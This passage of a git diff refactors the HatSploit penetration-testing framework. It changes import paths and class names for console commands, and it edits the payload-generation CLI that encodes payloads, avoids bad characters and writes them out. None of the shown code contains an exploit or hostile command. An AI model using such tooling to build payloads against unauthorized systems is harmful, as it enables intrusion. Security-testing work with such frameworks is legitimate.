self.badges.print_process(f"Attempting to generate {args.payload}...") + self.print_process(f"Attempting to generate {args.payload}...") options = {} @@ -499,22 +474,22 @@ def cli(self) -> None: options = args.options if args.encoder and args.iterations: - self.badges.print_information(f"Using {str(args.iterations)} as a number of times to encode.") + self.print_information(f"Using {str(args.iterations)} as a number of times to encode.") options['iterations'] = args.iterations if args.badchars: - self.badges.print_information(f"Trying to avoid these bad characters: {args.badchars}") + self.print_information(f"Trying to avoid these bad characters: {args.badchars}") options['badchars'] = args.badchars if args.encoder: - self.badges.print_information(f"Payload will be encoded with {args.encoder}") + self.print_information(f"Payload will be encoded with {args.encoder}") payload = self.payloads.get_payload(args.payload) if not payload: - self.badges.print_error(f"Invalid payload: {args.payload}!") + self.print_error(f"Invalid payload: {args.payload}!") return - details = payload.details + details = payload.info payload = self.payloads.generate_payload( args.payload, options, args.encoder, 'implant' if args.implant else 'run') @@ -523,26 +498,26 @@ def cli(self) -> None: payload, details['Platform'], details['Arch'], args.format) if not payload: - self.badges.print_error(f"Invalid format: {args.format}!") + self.print_error(f"Invalid format: {args.format}!") return if not args.output: - self.badges.print_process("Writing raw payload...") + self.print_process(f"Writing raw payload ({str(len(payload))} bytes)...") if isinstance(payload, bytes): if args.assembly: - hexdump = self.hatasm.hexdump_asm(str(details['Arch']), code=payload) + hexdump = self.hexdump_asm(str(details['Arch']), code=payload) else: - hexdump = self.hatasm.hexdump(payload) + hexdump = self.hexdump(payload) for line in hexdump: - self.badges.print_empty(line) + self.print_empty(line) else: - self.badges.print_empty(payload) + self.print_empty(payload) else: with open(args.output, 'wb') as f: - self.badges.print_process(f"Saving payload to {args.output}...") + self.print_process(f"Saving payload to {args.output} ({str(len(payload))} bytes)...") f.write(payload) else: diff --git a/hatsploit/commands/advanced.py b/hatsploit/commands/advanced.py old mode 100755 new mode 100644 index 20f3740a9..eeba71950 --- a/hatsploit/commands/advanced.py +++ b/hatsploit/commands/advanced.py @@ -3,19 +3,15 @@ Current source: https://github.com/EntySec/HatSploit """ -from hatsploit.lib.command import Command -from hatsploit.lib.modules import Modules -from hatsploit.lib.show import Show +from badges.cmd import Command +from hatsploit.lib.ui.modules import Modules +from hatsploit.lib.ui.show import Show -class HatSploitCommand(Command): - def __init__(self): - super().__init__() - - self.show = Show() - self.modules = Modules() - self.details.update({ +class ExternalCommand(Command): + def __init__(self): + super().__init__({ 'Category': "modules", 'Name': "advanced", 'Authors': [ @@ -26,8 +22,10 @@ def __init__(self): 'MinArgs': 0, }) - def rpc(self, *args): + self.modules = Modules() + + def rpc(self, *_): return self.modules.get_current_advanced() - def run(self, argc, argv): - self.show.show_advanced(self.modules.get_current_module()) + def run(self, _): + Show().show_advanced(self.modules.get_current_advanced()) diff --git a/hatsploit/commands/back.py b/hatsploit/commands/back.py index d4e0cf814..2654d6b47 100755 --- a/hatsploit/commands/back.py +++ b/hatsploit/commands/back.py @@ -3,17 +3,13 @@ Current source: https://github.com/EntySec/HatSploit """ -from hatsploit.lib.command import Command -from hatsploit.lib.modules import Modules +from badges.cmd import Command +from hatsploit.lib.ui.modules import Modules -class HatSploitCommand(Command): +class ExternalCommand(Command): def __init__(self): - super().__init__() - - self.modules = Modules() - - self.details.update({ + super().__init__({ 'Category': "modules", 'Name': "back", 'Authors': [ @@ -24,8 +20,30 @@ def __init__(self): 'MinArgs': 0, }) - def rpc(self, *args): - self.run(0, []) + self.modules = Modules() - def run(self, argc, argv): + def rpc(self, *_): self.modules.go_back() + + def run(self, _): + module = self.modules.get_current_module() + + if not module: + return + + for command in module.commands: + self.console.delete_external(command) + + self.modules.go_back() + + module = self.modules.get_current_module() + + if module: + commands = {} + + for command in module.commands: + commands[command] = module.commands[command] + commands[command]['Method'] = getattr(module, command) + commands[command]['Category'] = 'module' + + self.console.add_external(commands) diff --git a/hatsploit/commands/banner.py b/hatsploit/commands/banner.py index 7b85fa362..edce863c9 100755 --- a/hatsploit/commands/banner.py +++ b/hatsploit/commands/banner.py @@ -4,16 +4,12 @@ """ from hatsploit.core.utils.ui.banner import Banner -from hatsploit.lib.command import Command +from badges.cmd import Command -class HatSploitCommand(Command): +class ExternalCommand(Command): def __init__(self): - super().__init__() - - self.banner = Banner() - - self.details.update({ + super().__init__({ 'Category': "misc", 'Name': "banner", 'Authors': [ @@ -24,5 +20,5 @@ def __init__(self): 'MinArgs': 0, }) - def run(self, argc, argv): - self.banner.print_random_banner() + def run(self, _): + Banner().print_random_banner() diff --git a/hatsploit/commands/clear.py b/hatsploit/commands/clear.py deleted file mode 100755 index 23a6c3e6e..000000000 --- a/hatsploit/commands/clear.py +++ /dev/null @@ -1,25 +0,0 @@ -""" -This command requires HatSploit: https://hatsploit.com -Current source: https://github.com/EntySec/HatSploit -""" - -from hatsploit.lib.command import Command - - -class HatSploitCommand(Command): - def __init__(self): - super().__init__() - - self.details.update({ - 'Category': "core", - 'Name': "clear", - 'Authors': [ - 'Ivan Nikolskiy (enty8080) - command developer', - ], - 'Description': "Clear terminal window.", - 'Usage': "clear", - 'MinArgs': 0, - }) - - def run(self, argc, argv): - self.print_empty("%clear", end='') diff --git a/hatsploit/commands/devices.py b/hatsploit/commands/devices.py index befef9c97..1b6190749 100644 --- a/hatsploit/commands/devices.py +++ b/hatsploit/commands/devices.py @@ -3,19 +3,14 @@ Current source: https://github.com/EntySec/HatSploit """ -from hatsploit.lib.command import Command -from hatsploit.lib.modules import Modules -from hatsploit.lib.show import Show +from badges.cmd import Command +from hatsploit.lib.ui.modules import Modules +from hatsploit.lib.ui.show import Show -class HatSploitCommand(Command): +class ExternalCommand(Command): def __init__(self): - super().__init__() - - self.modules = Modules() - self.show = Show() - - self.details.update({ + super().__init__({ 'Category': "modules", 'Name': "devices", 'Authors': [ @@ -26,6 +21,8 @@ def __init__(self): 'MinArgs': 0, }) - def run(self, argc, argv): - self.show.show_module_devices( + self.modules = Modules() + + def run(self, _): + Show().show_module_devices( self.modules.get_current_module()) diff --git a/hatsploit/commands/encoder_db.py b/hatsploit/commands/encoder_db.py index ef8e533c8..263b55e1a 100755 --- a/hatsploit/commands/encoder_db.py +++ b/hatsploit/commands/encoder_db.py @@ -5,19 +5,13 @@ from hatsploit.core.db.builder import Builder from hatsploit.core.db.db import DB -from hatsploit.lib.command import Command -from hatsploit.lib.show import Show +from badges.cmd import Command +from hatsploit.lib.ui.show import Show -class HatSploitCommand(Command): +class ExternalCommand(Command): def __init__(self): - super().__init__() - - self.db = DB() - self.builder = Builder() - self.show = Show() - - self.details.update({ + super().__init__({ 'Category': "databases", 'Name': "encoder_db", 'Authors': [ @@ -27,16 +21,20 @@ def __init__(self): 'Usage': "encoder_db